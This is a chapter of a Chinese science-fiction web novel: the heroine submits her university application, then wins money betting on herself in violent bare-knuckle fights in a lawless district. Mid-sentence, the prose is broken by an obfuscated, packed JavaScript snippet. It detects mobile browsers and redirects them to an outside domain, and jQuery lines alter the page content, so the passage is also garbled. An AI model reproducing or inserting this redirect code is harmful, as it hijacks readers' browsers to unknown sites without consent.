第二天清晨。
“你确定提交报名信息吗?请注意,提交后若进行更改需要根据相关规定上报,预计处理时间将超过报名截止时间。”
“我确定。”
王平桓站起身走出前台:“行,那你过来做个体检,录入一下报名条件证明。”
体检过后,相应的信息自动录入系统:一共八个志愿,上从到下类别分别是军校、农学院、农学院、某星大学、农学院……虽说学农不是邓蛟想象的开农庄,但是和食物有关就是梦中情专好专业!
邓蛟只需在“提交”按钮上一点,结束。
接下来的日子是三道贩子的倒卖日——她得尽量多卖点垃圾赚钱,给自己赚学费和生活费。莞十从没保证过会给她交第二年及以后的学费,而生活费嘛,更没有提过。
但是话又说回来,卖垃圾,赚不了两个钱。她自制的手工工艺品光脑核心呢,唯一的大客户王平桓自上次后又没再买过。
所以有什么办法可以给自己攒一桶金,以保证自己能在上学时吃饱饱睡好好呢?
邓蛟掏出腰边夹的小型手/枪,目光熠熠看向黄沙尽头。
——去滥区搞一笔。
她跨步坐上摩托车,拉起衣领,俯身下腰。
“轰隆隆”
一只灰黄摩托驰骋在黄沙之上。
…
如果滥区负责人知道今天有人来滥区,目的是赚钱,她可能会大肆嘲笑,并开门相迎。
可惜今天她不在,见证不了这是大话还是陈述。
另一边,大言不惭的邓蛟停好摩托后,帅气地扯下衣领。她走到这一块的门口,向保安丢了两块自制的大面值硬币。
很自信,很潇洒。
所以尽管她看起来太过年轻有朝气,全身带着不符合这的气质,保安仍然沉默给她开了门。
她离开时就会一脸颓靡,像这的人一样。保安看着那张过于灿烂的面孔心想。
门口处有一层走过会自动覆盖面部的蓝膜。
邓蛟走进去,扑面而来的清爽空气,而且,越吸越让人亢奋。
不讲武德,居然在空气里加料。邓蛟猛吸两口,有点上头。
她看向这一块区域,人们都四处躺着坐着,姿势各异,共同点是软的像蛇。
不时有侍应生从人躺人的空隙间走过,给某位顾客递上一杯茶酒,而那位顾客喝完,身体与地面黏吸力加强,看起来更加糜散了。
第一杯,滥区请客。
一位宽肩长腿的侍应生将一杯看起来冰凉解渴的棕色液体端至邓蛟面前。
“抱歉。”邓蛟拒绝了她,成功看见这位侍应生瞪大一对浅蓝色的眼睛。
一旁一直盯着这的人伺机抢过杯子:“她不喝我喝!”她一口灌下,喝完后眯起眼睛卸下力气滑倒在地。
“咔嚓”
侍应生卸下了这人的手,一对浅蓝色的眼睛漾起笑波:“滥区只有第一杯免费。”她看向邓蛟,“很抱歉我的服务未让您满意,我会不断改进的。”她的眼睛变得湿漉漉,看起来好像真的是一名为此抱歉的侍应生。
但是,邓蛟看向地面上嘴角带着微笑,被卸了手腕还不知疼痛的人,实在无福消受她的服务。
“请你告诉我A区在哪?”邓蛟调整了下腰边的枪。
侍应生向她指明方向,并软声表示:“如果您有任何需要,都可以叫我哦!我叫蔚芹。”最后她还给邓蛟比了个wink。
邓蛟快步离开,避开身后黏糊糊又热情十足的目光。
天杀的,现实中感觉到的比店主信息里提到的还要难以描述。邓蛟很想请问店主:“外热内冷”是这么用的吗?
她快步走过一条条有着高挑穹顶的过道,来到一块圆形的开阔场地。
放眼望去,这里的人看起来亢奋多了。大家互殴,互打,互开枪,精神状态与隔壁形成了鲜明对比。
A区很大,沸声盈天中也不显拥挤。
这有开着小型飞行器比赛飞着飞着不受控撞上某个幸运观众的区域,也有朴实无华肉搏区,平平无奇群殴区,还有……
邓蛟看向这一片中央处下沉的擂台——
两人坐在裸露驾驶区的大型机器人之中,舞着银刀,电鞭,打得火热。
机甲区。
这两台机甲看起来都不漂亮,颜色灰扑扑的,身体更是左缺一块右少一角,但是,很有魅力。
虽然是战损改造版的,但很有魅力。
邓蛟没看过完整真实的机甲,她只从店主和莞十口中听过这种在联邦炒的火热的军用设备。
现在看来,活该炒的火热——仅仅是两架残缺体,就吸引了A区一大半的目光和呐喊,人们的热情几乎要掀翻穹顶。
但她不是为了这个她根本没接触过的东西来的。
邓蛟要去的,是朴实无华肉搏区。
发挥身体的优势赚钱,邓蛟有不得不为此努力的事——赚钱吃饱饱。
她来到报名区填下自己的代号:饱死鬼。
“新人,去18号擂台。”登记人员把她的信息划入系统。
那是最远的一个擂台。
这的报名规则很简单:赢前进,输后退,没有赏金,选手也只能靠注台赚钱,对了,赢的条件是把对手打到认输。
邓蛟走到注台,她的代号饱死鬼已经出现在这一块的最底下。
“黄鱼历险记vs饱死鬼”,上面介绍:黄鱼历险记是一位赢2输2的新秀,饱死鬼无上场记录,二者投比为1:1.9,1:1.1(即无论赌对赌错,都会收获1.9倍/1.1倍的本金或输掉1.9倍/1.2倍的本金,若本金不足,身体抵债)
邓蛟掏出所有钱,压饱死鬼赢。
“您确定以29056星币(星银折价)压‘饱死鬼’赢吗?温馨提醒:请准备好29056x1.1的星币哦!”
“确定。”
“好的,该场比赛将在十分钟后开始,您可以到相应擂台准备观赛!”屏幕上的Q版机甲比了个心。
邓蛟走到18号擂台之上。
对面是一个肌肉虬结的人,身高比邓蛟矮一个头,身体却是邓蛟的两倍宽。
她的肩膀宽度能对上摩托的两个轮胎,邓蛟打量着,感叹黄鱼历险记应该做个搬运工,她的体格,说不定轻轻松松搬起体积和重量是自身十倍的东西。
“叮咚”
简单打个照面后,比赛开始。
邓蛟脚尖轻点地面,一个滑步抓住黄鱼历险记的胳膊。后者轻笑一声,似乎在笑她自不量力。
黄鱼历险记想抬起手臂把这个瘦竹竿甩成泥,但她抬不起也来不及。邓蛟环着她的手臂,抡着她腾空转了十几圈,最终砸向地面。
“砰”
一只脚踩着黄鱼历险记的胸口,用力,愈发用力。
她的手臂已经脱臼了,而另一只手臂竟然扯不开身上人的腿。
黄鱼历险记能感到自己胸口的皮肤和肌肉正在坏死,而内脏即将爆开。
“我认输!”她大喊。
台下发出一阵阵嘘声,但黄鱼历险记不在乎,她感觉胸口的脚挪开,自己勉强恢复了呼吸。
这是什么大力怪物?黄鱼历险记看向并不魁梧的邓蛟,吃痛地爬起来。
她踉跄走下擂台,第一次怀疑自己的肌肉中看不中用。
擂台上的邓蛟欣然迎接自己的胜利,以及随之而来的31961.6星币。
说实话,她不懂打架的技巧,但她有一身力气。
这浑身力气让邓蛟有信心打两场赚钱,但更多的,她暂时不敢想。
似乎要蹦出胸口的心脏在与主人的想法抗议,身体的肌肉逐渐充血,仿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15757164|174355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佛有着无穷无尽的力气等着她消耗。台下逐渐有人高喊“饱死鬼”的姓名,一切都在对邓蛟说:胜利者,赢家,再来一场!你会赢下去,你是下一个不败传说!
真是,可怕的氛围,难以抵挡的空气。
她跳下擂台,直接报名下一场。
“饱死鬼,17号擂台。”
也给自己下个注。
“请问全部压‘饱死鬼’赢吗?温馨提醒:请准备好31961.6x1.5的星币哦!”
“当然。”
饱死鬼的投比上升到1:1.5,而她的对手是投比1:2.1的磨骨鸟。
走上擂台,很清楚地感觉到磨骨鸟人如其名。
她又高又瘦,骨头仿佛要顶穿皮肤,看起来就像一只磨着骨头飞行的鸟。
“叮咚”,比赛开始。
这一次,邓蛟做不到率先攻击。
对方,太快了——
磨骨鸟轻飘飘滑翔到邓蛟身旁,她弯曲手肘,凸出的骨头关节如一节尖刺刺向邓蛟的喉咙。
邓蛟下意识往后一躲,避开这堪比尖刀的人体武器,她皱起眉头,伸手锁住磨骨鸟弯起的手肘。
“你……”磨骨鸟惊奇地看向邓蛟的手,上面与她接触的皮肤缓慢破开,渗出一缕缕血丝。
她的眼神显出几分兴味来,“你的皮肤,很坚硬。”
可能以前和磨骨鸟打架的人都不敢碰她堪比变态的关节吧。邓蛟双手收紧力气,感受对方骨头破开自己的血肉。
当然,磨骨鸟不止手肘一个关节处有骨头。
这么近的距离,只要她想,她身体的每一处都能变成刺破邓蛟的利刃。
所以这次邓蛟趁她说话率先出击了。
她对准磨骨鸟的脑袋蛮横一撞,不确定对方有没有眼冒金星,所以,再撞一下,再撞两下……再撞她个七八九十下。
也许邓蛟的额头已经是血肉模糊,但磨骨鸟的头骨也是生死难料。
邓蛟松开手,磨骨鸟像只没羽毛的鸟倒在地面。
她右手手肘的骨头已经被邓蛟捏碎,头盖骨不知道状况如何,但很明显,虽然磨骨鸟没说认输,但她暂时也说不出话了。
磨骨鸟很快被人抬下去救治。
邓蛟顶着满头血在擂台上迎接她的胜利。
“饱死鬼!饱死鬼!”
“我赌了她赢!啊啊啊啊!”
“再来一场!你再来一场吧!我这次一定会赌你赢的!”
“……”
血腥的场面吸引了许多人,她们呐喊着,在这些原始人一般的搏斗观战中释放着无尽的压力痛楚。
再来一场?
邓蛟心心念念着自己的47942.4星币,咳出一口血。
别了,架难打,钱难赚,屎难吃啊。
她走下擂台,很快有工作人员柔声询问她是否需要医疗援助。
当然——
“不需要。”
邓蛟冷脸拒绝了她。这是个坑,打架,输了没钱赚甚至赔钱,赢了也没关系,受伤的话是不是需要治疗呢?这一治,钱就没了。
她费尽心思不是来体验原始暴力和科技医学的。
邓蛟捏起拳头,隐藏起手心愈合结痂的伤口。
走到注台,选择星银兑换,邓蛟收起自己赢得的赌金。
她走出呐喊声哭泣声尖叫声充斥的A区,走过微笑着糜烂着的不知生死的人群,最终回到滥区的门口,保安仍然站在那。
保安是个哑巴,她用眼睛说话。
她看着满头血的邓蛟,眼睛说:她果然像这的人一样了。但她心里又觉得是有一些不同的,是什么呢?
看着橘红色的太阳,感受灼人空气吻啄皮肤,邓蛟只觉得恍如隔世。
她坐上摩托,抹开额头的血。
那一片光滑无伤。